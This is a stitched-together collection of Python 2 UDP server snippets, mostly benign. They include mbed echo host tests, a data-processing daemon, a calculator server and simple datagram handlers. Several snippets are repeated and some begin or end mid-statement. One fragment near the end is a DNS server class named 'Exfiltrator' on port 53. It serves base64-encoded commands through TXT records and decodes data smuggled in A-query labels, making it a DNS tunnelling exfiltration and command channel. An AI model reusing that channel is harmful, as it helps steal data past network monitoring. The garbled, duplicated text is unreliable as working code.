def udp_packet_recv(threadName, server_ip, server_port):
""" This function will receive packet stream from mbed device
"""
server = UDPServer((server_ip, server_port), UDPEchoClient_Handler)
print "[UDP_COUNTER] Listening for connections... %s:%d" % (server_ip,
server_port)
server.serve_forever()
class ALPSUDPConnection:
def __receiver_thread(self, request, client_address, server):
message = request[0]
if callable(self.receiver_func_callback):
self.receiver_func_callback(self, client_address, message)
# print client_address
def __init__(self, ip, port, receiver_func=None, background=False, use_threading=True):
self.ip_string = ip
self.port = port
self.receiver_func_callback = receiver_func
self.background = background
if use_threading:
self.udpconnection = ThreadingUDPServer((self.ip_string, self.port), self.__receiver_thread)
else:
self.udpconnection = UDPServer((self.ip_string, self.port), self.__receiver_thread)
self.udpconnection.allow_reuse_address = True
# self.__objname = inspect.stack()[1][-2][0].split('=')[0].strip()
def __serve_forever(self):
try:
self.udpconnection.serve_forever()
except:
pass
def bind(self, thread_name="UDPConnection Thread"):
self.udpsock_thread = ALPSThread(threadfunc=self.__serve_forever, threadname=thread_name)
self.udpsock_thread.setDaemon(not self.background)
self.udpsock_thread.start()
def send(self, client_address, message, error_except=True):
if type(client_address) is tuple:
addr_tuple = client_address
else:
addr_tuple = (client_address.split(':')[0], int(client_address.split(':')[1]))
if not error_except:
return self.udpconnection.socket.sendto(message, addr_tuple)
try:
self.udpconnection.socket.sendto(message, addr_tuple)
except Exception as e:
ALPSDebug.alps_error(e, '\n', inspect.getframeinfo((inspect.currentframe().f_back)))
return False
return True
def close(self):
self.udpconnection.server_close()
def test(self, selftest):
# We need to discover SERVEP_IP and set up SERVER_PORT
# Note: Port 7 is Echo Protocol:
#
# Port number rationale:
#
# The Echo Protocol is a service in the Internet Protocol Suite defined
# in RFC 862. It was originally proposed for testing and measurement
# of round-trip times[citation needed] in IP networks.
#
# A host may connect to a server that supports the Echo Protocol using
# the Transmission Control Protocol (TCP) or the User Datagram Protocol
# (UDP) on the well-known port number 7. The server sends back an
# identical copy of the data it received.
SERVER_IP = str(socket.gethostbyname(socket.getfqdn()))
SERVER_PORT = 7
# Returning none will suppress host test from printing success code
server = UDPServer((SERVER_IP, SERVER_PORT), UDPEchoClient_Handler)
print("HOST: Listening for UDP connections...")
self.send_server_ip_port(selftest, SERVER_IP, SERVER_PORT)
server.serve_forever()
def test(self, selftest):
# We need to discover SERVEP_IP and set up SERVER_PORT
# Note: Port 7 is Echo Protocol:
#
# Port number rationale:
#
# The Echo Protocol is a service in the Internet Protocol Suite defined
# in RFC 862. It was originally proposed for testing and measurement
# of round-trip times[citation needed] in IP networks.
#
# A host may connect to a server that supports the Echo Protocol using
# the Transmission Control Protocol (TCP) or the User Datagram Protocol
# (UDP) on the well-known port number 7. The server sends back an
# identical copy of the data it received.
SERVER_IP = str(socket.gethostbyname(socket.getfqdn()))
SERVER_PORT = 7
# Returning none will suppress host test from printing success code
server = UDPServer((SERVER_IP, SERVER_PORT), UDPEchoClient_Handler)
print("HOST: Listening for UDP connections...")
self.send_server_ip_port(selftest, SERVER_IP, SERVER_PORT)
server.serve_forever()
class UDPEchoClientTest(BaseHostTest):
def __init__(self):
"""
Initialise test parameters.
:return:
"""
BaseHostTest.__init__(self)
self.SERVER_IP = None # Will be determined after knowing the target IP
self.SERVER_PORT = 0 # Let TCPServer choose an arbitrary port
self.server = None
self.server_thread = None
self.target_ip = None
@staticmethod
def find_interface_to_target_addr(target_ip):
"""
Finds IP address of the interface through which it is connected to the target.
:return:
"""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target_ip, 0)) # Target IP, Any port
ip = s.getsockname()[0]
s.close()
return ip
def setup_udp_server(self):
"""
sets up a UDP server for target to connect and send test data.
:return:
"""
# !NOTE: There should mechanism to assert in the host test
if self.SERVER_IP is None:
self.log("setup_udp_server() called before determining server IP!")
self.notify_complete(False)
# Returning none will suppress host test from printing success code
self.server = UDPServer((self.SERVER_IP, self.SERVER_PORT), UDPEchoClientHandler)
ip, port = self.server.server_address
self.SERVER_PORT = port
self.server.allow_reuse_address = True
self.log("HOST: Listening for UDP packets: " + self.SERVER_IP + ":" + str(self.SERVER_PORT))
self.server_thread = Thread(target=UDPEchoClientTest.server_thread_func, args=(self,))
self.server_thread.start()
@staticmethod
def server_thread_func(this):
"""
Thread function to run TCP server forever.
:param this:
:return:
"""
this.server.serve_forever()
@event_callback("target_ip")
def _callback_target_ip(self, key, value, timestamp):
"""
Callback to handle reception of target's IP address.
:param key:
:param value:
:param timestamp:
:return:
"""
self.target_ip = value
self.SERVER_IP = self.find_interface_to_target_addr(self.target_ip)
self.setup_udp_server()
@event_callback("host_ip")
def _callback_host_ip(self, key, value, timestamp):
"""
Callback for request for host IP Addr
"""
self.send_kv("host_ip", self.SERVER_IP)
@event_callback("host_port")
def _callback_host_port(self, key, value, timestamp):
"""
Callback for request for host port
"""
self.send_kv("host_port", self.SERVER_PORT)
def teardown(self):
if self.server:
self.server.shutdown()
self.server_thread.join()
def udp_packet_recv(threadName, server_ip, server_port):
""" This function will receive packet stream from mbed device
"""
server = UDPServer((server_ip, server_port), UDPEchoClient_Handler)
print "[UDP_COUNTER] Listening for connections... %s:%d"% (server_ip, server_port)
server.serve_forever()
class DPM:
"""
DPM is Data Processing Module
DPM is used to receive data from routes
and preprocesses the data and then sends it to WCM and PAM
"""
def __init__(self, interval):
"""
init the DPM
:param interval: the time interval of sending data (ms)
:return:
"""
self.__interval = interval / 1000.0
self.__ip = socket.gethostbyname(socket.gethostname())
self.__udpServer = UDPServer(('0.0.0.0', DPM_PORT), DataRecvServer)
def start(self):
"""
start running the DPM
:return:
"""
thSend = Thread(target=self.runSend)
self.__needQuit = False
thSend.daemon = True
thSend.start()
self.__udpServer.serve_forever()
try:
thSend.join()
except KeyboardInterrupt:
self.quit()
def runSend(self):
"""
Send data to the WCM
:return:
"""
while not self.__needQuit:
sleep(self.__interval)
with lock:
body = json.dumps(dataDict)
header = struct.pack('>BIxxxxI', DPM_MES_TYPE, int(time()),
len(body))
print int(time()), body
"""
send data to WCM
"""
try:
WCMSender = TcpClient('0.0.0.0', WCM_PORT)
WCMSender.connect()
WCMSender.write(header)
WCMSender.write(body.encode('utf-8'))
WCMSender.flush()
except:
print 'conncect WCM failed'
finally:
WCMSender.close()
dataDict.clear()
def quit(self):
"""
quit the deamon
:return:
"""
self.__needQuit = True
self.__udpServer.shutdown()
def main():
server = UDPServer(('0.0.0.0', 41724), UDPRequestHandler)
print 'Server accepting UDP connections {}...'.format(server.server_address)
server.serve_forever()
class UDPEchoClientTest(BaseHostTest):
def __init__(self):
"""
Initialise test parameters.
:return:
"""
BaseHostTest.__init__(self)
self.SERVER_IP = None # Will be determined after knowing the target IP
self.SERVER_PORT = 0 # Let TCPServer choose an arbitrary port
self.server = None
self.server_thread = None
self.target_ip = None
@staticmethod
def find_interface_to_target_addr(target_ip):
"""
Finds IP address of the interface through which it is connected to the target.
:return:
"""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((target_ip, 0)) # Target IP, any port
except socket.error:
s.connect((target_ip, 8000)) # Target IP, 'random' port
ip = s.getsockname()[0]
s.close()
return ip
def setup_udp_server(self):
"""
sets up a UDP server for target to connect and send test data.
:return:
"""
# !NOTE: There should mechanism to assert in the host test
if self.SERVER_IP is None:
self.log("setup_udp_server() called before determining server IP!")
self.notify_complete(False)
# Returning none will suppress host test from printing success code
self.server = UDPServer((self.SERVER_IP, self.SERVER_PORT),
UDPEchoClientHandler)
ip, port = self.server.server_address
self.SERVER_PORT = port
self.server.allow_reuse_address = True
self.log("HOST: Listening for UDP packets: " + self.SERVER_IP + ":" +
str(self.SERVER_PORT))
self.server_thread = Thread(
target=UDPEchoClientTest.server_thread_func, args=(self, ))
self.server_thread.start()
@staticmethod
def server_thread_func(this):
"""
Thread function to run TCP server forever.
:param this:
:return:
"""
this.server.serve_forever()
@event_callback("target_ip")
def _callback_target_ip(self, key, value, timestamp):
"""
Callback to handle reception of target's IP address.
:param key:
:param value:
:param timestamp:
:return:
"""
self.target_ip = value
self.SERVER_IP = self.find_interface_to_target_addr(self.target_ip)
self.setup_udp_server()
@event_callback("host_ip")
def _callback_host_ip(self, key, value, timestamp):
"""
Callback for request for host IP Addr
"""
self.send_kv("host_ip", self.SERVER_IP)
@event_callback("host_port")
def _callback_host_port(self, key, value, timestamp):
"""
Callback for request for host port
"""
self.send_kv("host_port", self.SERVER_PORT)
def teardown(self):
if self.server:
self.server.shutdown()
self.server_thread.join()
def serve_forever(self):
self.start_notifications()
UDPServer.serve_forever(self)
from SocketServer import UDPServer, BaseRequestHandler
class myHandler(BaseRequestHandler):
def handle(self):
print "Connection from ", str(self.client_address)
data, conn = self.request
data_oper = data.split(" ")
if data_oper[1] == "+":
res = int(data_oper[0]) + int(data_oper[2])
elif data_oper[1] == "-":
res = int(data_oper[0]) - int(data_oper[2])
elif data_oper[1] == "*":
res = int(data_oper[0]) * int(data_oper[2])
if data_oper[1] == "/":
res = int(data_oper[0]) / int(data_oper[2])
conn.sendto(str(res)+"\n", self.client_address)
myServer = UDPServer(("127.0.0.1", 5555), myHandler)
myServer.serve_forever()
class DPM:
"""
DPM is Data Processing Module
DPM is used to receive data from routes
and preprocesses the data and then sends it to WCM and PAM
"""
def __init__(self, interval):
"""
init the DPM
:param interval: the time interval of sending data (ms)
:return:
"""
self.__interval = interval / 1000.0
self.__ip = socket.gethostbyname(socket.gethostname())
self.__udpServer = UDPServer(('0.0.0.0', DPM_PORT), DataRecvServer)
def start(self):
"""
start running the DPM
:return:
"""
thSend = Thread(target=self.runSend)
self.__needQuit = False
thSend.daemon = True
thSend.start()
self.__udpServer.serve_forever()
try:
thSend.join()
except KeyboardInterrupt:
self.quit()
def runSend(self):
"""
Send data to the WCM
:return:
"""
while not self.__needQuit:
sleep(self.__interval)
with lock:
body = json.dumps(dataDict)
header = struct.pack('>BIxxxxI', DPM_MES_TYPE, int(time()), len(body))
print int(time()), body
"""
send data to WCM
"""
try:
WCMSender = TcpClient('0.0.0.0', WCM_PORT)
WCMSender.connect()
WCMSender.write(header)
WCMSender.write(body.encode('utf-8'))
WCMSender.flush()
except:
print 'conncect WCM failed'
finally:
WCMSender.close()
dataDict.clear()
def quit(self):
"""
quit the deamon
:return:
"""
self.__needQuit = True
self.__udpServer.shutdown()
#!/usr/bin/env python
#server
from SocketServer import DatagramRequestHandler as DRH, UDPServer as UDP
class MyRequestHandler(DRH):
def handle(self):
print "I am server and recved: %s from %s" % (self.rfile.readline(), self.client_address)
self.wfile.write("I am server")
ss = UDP(('localhost', 9527), MyRequestHandler)
ss.serve_forever()
def run(self):
addr = ("", PORT)
log("UDP server listening on : " + str(addr), "debug")
server = UDPServer(addr, Handler)
server.serve_forever()
cmd = "@" + base64.standard_b64encode(f.readlines()[int(name.label[1])-1]) + "@"
except:
cmd = ''
return RR(name, QTYPE.TXT, rdata=TXT(cmd), ttl=0)
def _A(self, name):
if name.label[0] == "data":
print base64.b64decode(name.label[1]),
else:
print name
return RR(name, QTYPE.A, rdata=A(IP_ADDRESS), ttl=0)
def _MX(self, name):
print name
return RR(name, QTYPE.MX, rdata=MX(DOMAIN_NAME), ttl=0)
def handle(self):
request = DNSRecord.parse(self.request[0])
socket = self.request[1]
reply = request.reply()
answer = self.q_processors[reply.q.qtype](reply.q.qname)
reply.add_answer(answer)
socket.sendto(reply.pack(), self.client_address)
if __name__ == '__main__':
HOST, PORT = '0.0.0.0', 53
server = UDPServer((HOST, PORT), Exfiltrator)
server.serve_forever()
if self.mbed.serial_timeout(1) is None:
self.print_result("ioerr_serial")
return
print "Sending server IP Address to target..."
connection_str = ip_address + ":" + str(port_no) + "\n"
self.mbed.serial_write(connection_str)
class UDPEchoClient_Handler(BaseRequestHandler):
def print_result(self, result):
print "\n{%s}\n{end}" % result
def handle(self):
""" One handle per connection """
print "connection received"
data, socket = self.request
print "client: ", self.client_address
print "data: ", data
socket.sendto(data, self.client_address)
stdout.flush()
server = UDPServer((SERVER_IP, SERVER_PORT), UDPEchoClient_Handler)
print "listening for connections"
mbed_test = UDPEchoClientTest();
mbed_test.send_server_ip_port(SERVER_IP, SERVER_PORT)
server.serve_forever()
#UDP serving float64 (double)
from SocketServer import DatagramRequestHandler as DRH, UDPServer as UDP
import array
import numpy as np
HOST = "192.168.0.199"
PORT = 18001
class MyRequestHandler(DRH):
def handle(self):
data, socket = self.request
#d_arr = array.array('d', data)
if len(data) > 0:
print "Recved from ", self.client_address
print type(data), len(data), data
s = UDP((HOST, PORT), MyRequestHandler)
s.serve_forever()
